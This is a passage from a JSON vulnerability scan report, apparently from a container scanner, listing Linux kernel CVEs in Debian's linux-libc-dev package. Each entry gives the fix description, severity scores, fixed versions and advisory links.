"CWE-415", "CWE-763" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:45115", "https://access.redhat.com/errata/RHSA-2026:45116", "https://access.redhat.com/errata/RHSA-2026:47017", "https://access.redhat.com/errata/RHSA-2026:49212", "https://access.redhat.com/security/cve/CVE-2026-52993", "https://bugzilla.redhat.com/2492094", "https://bugzilla.redhat.com/2492437", "https://bugzilla.redhat.com/2504052", "https://bugzilla.redhat.com/2507345", "https://bugzilla.redhat.com/show_bug.cgi?id=2492094", "https://bugzilla.redhat.com/show_bug.cgi?id=2492437", "https://bugzilla.redhat.com/show_bug.cgi?id=2504052", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52923", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52993", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64530", "https://errata.almalinux.org/9/ALSA-2026-49212.html", "https://errata.rockylinux.org/RLSA-2026:49212", "https://git.kernel.org/linus/d293ca716e7d5dffdaecaf6b9b2f857a33dc3d3a%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0274f24485fc38032d4093e463dc3ff5c7a667c9", "https://git.kernel.org/stable/c/1d5e589055880fae229e229e1929e087dbe08cf3", "https://git.kernel.org/stable/c/29940fff14110ca48c5ccc168d121665b51bb778", "https://git.kernel.org/stable/c/4d104882bc815d4ec666ace9155f5f52715879a6", "https://git.kernel.org/stable/c/4ee4deadaae7cb2e3d53af0fc889cf92a73413c0", "https://git.kernel.org/stable/c/a438975a6dcdbd70865978c021650d1485586f0b", "https://git.kernel.org/stable/c/d293ca716e7d5dffdaecaf6b9b2f857a33dc3d3a", "https://git.kernel.org/stable/c/d3556656c6daebf8def751c7e71d11dd0a180d24", "https://linux.oracle.com/cve/CVE-2026-52993.html", "https://linux.oracle.com/errata/ELSA-2026-49212.html", "https://lore.kernel.org/linux-cve-announce/2026062445-CVE-2026-52993-34a2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52993", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52993.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8644-1", "https://ubuntu.com/security/notices/USN-8644-2", "https://ubuntu.com/security/notices/USN-8644-3", "https://ubuntu.com/security/notices/USN-8645-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8666-1", "https://ubuntu.com/security/notices/USN-8666-2", "https://ubuntu.com/security/notices/USN-8666-3", "https://ubuntu.com/security/notices/USN-8667-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8715-1", "https://ubuntu.com/security/notices/USN-8715-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8748-1", "https://ubuntu.com/security/notices/USN-8911-1", "https://www.cve.org/CVERecord?id=CVE-2026-52993" ], "PublishedDate": "2026-06-24T17:17:10.203Z", "LastModifiedDate": "2026-10-19T20:18:53.853Z" }, { "VulnerabilityID": "CVE-2026-53000", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53000", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1b54059e205565b3c7dd5f3b0b0dc27fa84dbb9bc41530ba640806e5915f0353", "Title": "kernel: netfilter: nat: use kfree_rcu to release ops", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nat: use kfree_rcu to release ops\n\nFlorian Westphal says:\n\n\"Historically this is not an issue, even for normal base hooks: the data\npath doesn't use the original nf_hook_ops that are used to register the\ncallbacks.\n\nHowever, in v5.14 I added the ability to dump the active netfilter\nhooks from userspace.\n\nThis code will peek back into the nf_hook_ops that are available\nat the tail of the pointer-array blob used by the datapath.\n\nThe nat hooks are special, because they are called indirectly from\nthe central nat dispatcher hook. They are currently invisible to\nthe nfnl hook dump subsystem though.\n\nBut once that changes the nat ops structures have to be deferred too.\"\n\nUpdate nf_nat_register_fn() to deal with partial exposition of the hooks\nfrom error path which can be also an issue for nfnetlink_hook.", "Severity": "HIGH", "CweIDs": [ "CWE-763" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55445", "https://access.redhat.com/errata/RHSA-2026:64808", "https://access.redhat.com/errata/RHSA-2026:67720", "https://access.redhat.com/errata/RHSA-2026:68100", "https://access.redhat.com/security/cve/CVE-2026-53000", "https://bugzilla.redhat.com/2370992", "https://bugzilla.redhat.com/2492097", "https://bugzilla.redhat.com/2492273", "https://bugzilla.redhat.com/2502527", "https://bugzilla.redhat.com/2507061", "https://bugzilla.redhat.com/2507096", "https://bugzilla.redhat.com/2507129", "https://bugzilla.redhat.com/2507287", "https://bugzilla.redhat.com/show_bug.cgi?id=2370992", "https://bugzilla.redhat.com/show_bug.cgi?id=2492097", "https://bugzilla.redhat.com/show_bug.cgi?id=2492273", "https://bugzilla.redhat.com/show_bug.cgi?id=2502527", "https://bugzilla.redhat.com/show_bug.cgi?id=2507061", "https://bugzilla.redhat.com/show_bug.cgi?id=2507096", "https://bugzilla.redhat.com/show_bug.cgi?id=2507129", "https://bugzilla.redhat.com/show_bug.cgi?id=2507287", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38004", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52933", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64287", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64384", "https://errata.almalinux.org/9/ALSA-2026-64808.html", "https://errata.rockylinux.org/RLSA-2026:64808", "https://git.kernel.org/linus/6eda0d771f94267f73f57c94630aa47e90957915%20%287.1-rc1%29", "https://git.kernel.org/stable/c/050f98e56782b14677c5bae50800e60775bbf6bb", "https://git.kernel.org/stable/c/32fdd2e38e7435a368d88f5977a7d6585ebc8b0e", "https://git.kernel.org/stable/c/3c7511f38ab511b791196b13ae48bf4973bf7dfd", "https://git.kernel.org/stable/c/6eda0d771f94267f73f57c94630aa47e90957915", "https://git.kernel.org/stable/c/bf17f1d3b307196d9282c4b1dd8be0d0e5f8e529", "https://git.kernel.org/stable/c/ede973d62d26d9c550269af05366ab9e30fc92ee", "https://linux.oracle.com/cve/CVE-2026-53000.html", "https://linux.oracle.com/errata/ELSA-2026-64808-0.html", "https://lore.kernel.org/linux-cve-announce/2026062447-CVE-2026-53000-2568@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53000", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53000.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-53000" ], "PublishedDate": "2026-06-24T17:17:11.047Z", "LastModifiedDate": "2026-10-30T13:19:06.473Z" }, { "VulnerabilityID": "CVE-2026-53002", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53002", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d363a20ef72789adfa7a136e359b440397fd3a5b7256ffc72c4cadd24e47aced", "Title": "kernel: netfilter: conntrack: remove sprintf usage", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: conntrack: remove sprintf usage\n\nReplace it with scnprintf, the buffer sizes are expected to be large enough\nto hold the result, no need for snprintf+overflow check.\n\nIncrease buffer size in mangle_content_len() while at it.\n\nBUG: KASAN: stack-out-of-bounds in vsnprintf+0xea5/0x1270\nWrite of size 1 at addr [..]\n vsnprintf+0xea5/0x1270\n sprintf+0xb1/0xe0\n mangle_content_len+0x1ac/0x280\n nf_nat_sdp_session+0x1cc/0x240\n process_sdp+0x8f8/0xb80\n process_invite_request+0x108/0x2b0\n process_sip_msg+0x5da/0xf50\n sip_help_tcp+0x45e/0x780\n nf_confirm+0x34d/0x990\n [..]", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:64770", "https://access.redhat.com/errata/RHSA-2026:66000", "https://access.redhat.com/errata/RHSA-2026:66180", "https://access.redhat.com/security/cve/CVE-2026-53002", "https://bugzilla.redhat.com/2467065", "https://bugzilla.redhat.com/2468102", "https://bugzilla.redhat.com/2479812", "https://bugzilla.redhat.com/2481936", "https://bugzilla.redhat.com/2482566", "https://bugzilla.redhat.com/2484456", "https://bugzilla.redhat.com/2486463", "https://bugzilla.redhat.com/2486999", "https://bugzilla.redhat.com/2492329", "https://bugzilla.redhat.com/2492811", "https://bugzilla.redhat.com/2492841", "https://bugzilla.redhat.com/2501252", "https://bugzilla.redhat.com/2502394", "https://bugzilla.redhat.com/2510892", "https://bugzilla.redhat.com/2511932", "https://bugzilla.redhat.com/2516731", "https://bugzilla.redhat.com/2517046", "https://bugzilla.redhat.com/show_bug.cgi?id=2467065", "https://bugzilla.redhat.com/show_bug.cgi?id=2468102", "https://bugzilla.redhat.com/show_bug.cgi?id=2479812", "https://bugzilla.redhat.com/show_bug.cgi?id=2481936", "https://bugzilla.redhat.com/show_bug.cgi?id=2482566", "https://bugzilla.redhat.com/show_bug.cgi?id=2484456", "https://bugzilla.redhat.com/show_bug.cgi?id=2486463", "https://bugzilla.redhat.com/show_bug.cgi?id=2486999", "https://bugzilla.redhat.com/show_bug.cgi?id=2492329", "https://bugzilla.redhat.com/show_bug.cgi?id=2492811", "https://bugzilla.redhat.com/show_bug.cgi?id=2492841", "https://bugzilla.redhat.com/show_bug.cgi?id=2501252", "https://bugzilla.redhat.com/show_bug.cgi?id=2502394", "https://bugzilla.redhat.com/show_bug.cgi?id=2510892", "https://bugzilla.redhat.com/show_bug.cgi?id=2511932", "https://bugzilla.redhat.com/show_bug.cgi?id=2516731", "https://bugzilla.redhat.com/show_bug.cgi?id=2517046", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43339", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43493", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46149", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46306", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46330", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53223", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53275", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64034", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64597", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72129", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74480", "https://errata.almalinux.org/9/ALSA-2026-66180.html", "https://errata.rockylinux.org/RLSA-2026:66180", "https://git.kernel.org/linus/6e7066bdb481a87fe88c4fa563e348c03b2d373d%20%287.1-rc1%29", "https://git.kernel.org/stable/c/1c9fb8aeed06790d42cdcd00f6c3ce0b9e926c1e", "https://git.kernel.org/stable/c/2f793ba78470a99f40389b7dc60a81d9f5ad3956", "https://git.kernel.org/stable/c/6bbf829b4c1b44c941c47dd0d710f1393258f3d5", "https://git.kernel.org/stable/c/6e7066bdb481a87fe88c4fa563e348c03b2d373d", "https://git.kernel.org/stable/c/8e3be0d12615a173fe260cd42753ca7a001acbf2", "https://git.kernel.org/stable/c/a8e0a32a23d3f34862af3b4da792ecb3a891a9a3", "https://git.kernel.org/stable/c/ab64e61c9323fa6de21bd20da1ddb29a0fb65d34", "https://git.kernel.org/stable/c/c08ff52e44945e6ef4ce0790f49ea761b060c45b", "https://linux.oracle.com/cve/CVE-2026-53002.html", "https://linux.oracle.com/errata/ELSA-2026-66180-0.html", "https://lore.kernel.org/linux-cve-announce/2026062447-CVE-2026-53002-8577@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53002", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53002.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8633-1", "https://ubuntu.com/security/notices/USN-8633-2", "https://ubuntu.com/security/notices/USN-8635-1", "https://ubuntu.com/security/notices/USN-8645-1", "https://ubuntu.com/security/notices/USN-8646-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8666-1", "https://ubuntu.com/security/notices/USN-8666-2", "https://ubuntu.com/security/notices/USN-8666-3", "https://ubuntu.com/security/notices/USN-8667-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8715-1", "https://ubuntu.com/security/notices/USN-8715-2", "https://ubuntu.com/security/notices/USN-8725-1", "https://ubuntu.com/security/notices/USN-8725-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8748-1", "https://ubuntu.com/security/notices/USN-8911-1", "https://www.cve.org/CVERecord?id=CVE-2026-53002" ], "PublishedDate": "2026-06-24T17:17:11.263Z", "LastModifiedDate": "2026-10-19T20:18:54.833Z" }, { "VulnerabilityID": "CVE-2026-53004", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53004", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:36813ee20da9da7c98865d63423a883940ce0b591ac1de1501d208689f00f943", "Title": "kernel: sctp: fix OOB write to userspace in sctp_getsockopt_peer_auth_chunks", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: fix OOB write to userspace in sctp_getsockopt_peer_auth_chunks\n\nsctp_getsockopt_peer_auth_chunks() checks that the caller's optval\nbuffer is large enough for the peer AUTH chunk list with\n\n if (len \u003c num_chunks)\n return -EINVAL;\n\nbut then writes num_chunks bytes to p-\u003egauth_chunks, which lives\nat offset offsetof(struct sctp_authchunks, gauth_chunks) == 8\ninside optval. The check is missing the sizeof(struct\nsctp_authchunks) = 8-byte header. When the caller supplies\nlen == num_chunks (for any num_chunks \u003e 0) the test passes but\ncopy_to_user() writes sizeof(struct sctp_authchunks) = 8 bytes\npast the declared buffer.\n\nThe sibling function sctp_getsockopt_local_auth_chunks() at the\nnext line already has the correct check:\n\n if (len \u003c sizeof(struct sctp_authchunks) + num_chunks)\n return -EINVAL;\n\nAlign the peer variant with its sibling.\n\nReproducer confirms on v7.0-13-generic: an unprivileged userspace\ncaller that opens a loopback SCTP association with AUTH enabled,\nqueries num_chunks with a short optval, then issues the real\ngetsockopt with len == num_chunks and sentinel bytes painted past\nthe buffer observes those sentinel bytes overwritten with the\npeer's AUTH chunk type. The bytes written are under the peer's\ncontrol but land in the caller's own userspace; this is not a\nkernel memory corruption, but it is a kernel-side contract\nviolation that can silently corrupt adjacent userspace data.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53004", "https://git.kernel.org/linus/0cf004ffb61cd32d140531c3a84afe975f9fc7ea%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0cf004ffb61cd32d140531c3a84afe975f9fc7ea", "https://git.kernel.org/stable/c/2b5a2c957c7769d40110f725cf23987fcef50d75", "https://git.kernel.org/stable/c/6849b995cda88a677bf08a05765d1db7905974fc", "https://git.kernel.org/stable/c/6bcf8fe4ef7967b22b814cbae9a57bbd3c853410", "https://git.kernel.org/stable/c/70a089cc9590aa347a61e84434116ab74619e3c3", "https://git.kernel.org/stable/c/a132e199de69e2a45628aa8534df1bf5d44e1b6e", "https://git.kernel.org/stable/c/d45c7e99caf915b0f6c716bd8ffe9d45b9685761", "https://git.kernel.org/stable/c/d67fbc6dea5dbf7f46c618ebf65910a276078e20", "https://kernelcve.org/list/?q=CVE-2026-53004", "https://linux.oracle.com/cve/CVE-2026-53004.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026062448-CVE-2026-53004-09a9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53004", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53004" ], "PublishedDate": "2026-06-24T17:17:11.51Z", "LastModifiedDate": "2026-11-06T17:18:00.69Z" }, { "VulnerabilityID": "CVE-2026-53006", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53006", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:37ca19cd6fe2a6dd4408ebe72937c8139e7bb524238639c958d46b368f37f101", "Title": "kernel: ipv6: fix possible UAF in icmpv6_rcv()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: fix possible UAF in icmpv6_rcv()\n\nCaching saddr and daddr before pskb_pull() is problematic\nsince skb-\u003ehead can change.\n\nRemove these temporary variables:\n\n- We only access \u0026ipv6_hdr(skb)-\u003esaddr and \u0026ipv6_hdr(skb)-\u003edaddr\n when net_dbg_ratelimited() is called in the slow path.\n\n- Avoid potential future misuse after pskb_pull() call.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-825" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:45192", "https://access.redhat.com/errata/RHSA-2026:47010", "https://access.redhat.com/errata/RHSA-2026:47011", "https://access.redhat.com/errata/RHSA-2026:47017", "https://access.redhat.com/errata/RHSA-2026:61932", "https://access.redhat.com/errata/RHSA-2026:62568", "https://access.redhat.com/errata/RHSA-2026:64767", "https://access.redhat.com/errata/RHSA-2026:65710", "https://access.redhat.com/errata/RHSA-2026:65711", "https://access.redhat.com/errata/RHSA-2026:65712", "https://access.redhat.com/errata/RHSA-2026:67721", "https://access.redhat.com/errata/RHSA-2026:67723", "https://access.redhat.com/security/cve/CVE-2026-53006", "https://bugzilla.redhat.com/2406712", "https://bugzilla.redhat.com/2492277", "https://bugzilla.redhat.com/2492284", "https://bugzilla.redhat.com/2492318", "https://bugzilla.redhat.com/2492363", "https://bugzilla.redhat.com/show_bug.cgi?id=2406712", "https://bugzilla.redhat.com/show_bug.cgi?id=2492277", "https://bugzilla.redhat.com/show_bug.cgi?id=2492284", "https://bugzilla.redhat.com/show_bug.cgi?id=2492318", "https://bugzilla.redhat.com/show_bug.cgi?id=2492363", "https://bugzilla.redhat.com/show_bug.cgi?id=2510891", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40026", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52950", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52976", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53006", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53059", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64561", "https://errata.almalinux.org/9/ALSA-2026-45192.html", "https://errata.rockylinux.org/RLSA-2026:45192", "https://git.kernel.org/linus/f996edd7615e686ada141b7f3395025729ff8ccb%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0069813e6ca9309eca78022bcb3aeb1e9ef90a12", "https://git.kernel.org/stable/c/085e31a811ef234ef8c3e219c4636dfebfe7e10f", "https://git.kernel.org/stable/c/1e1f0f89ee4692a64be3f3707ff8ac1ae57b03e7", "https://git.kernel.org/stable/c/38bdbc897c0d83a3e2b925a51b69420f1feba29a", "https://git.kernel.org/stable/c/7bff2c8fe5c35ae58bf73104f53db3676e6e5d94", "https://git.kernel.org/stable/c/7c66b368c6ff453f99cb39d84af93e908e51eef2", 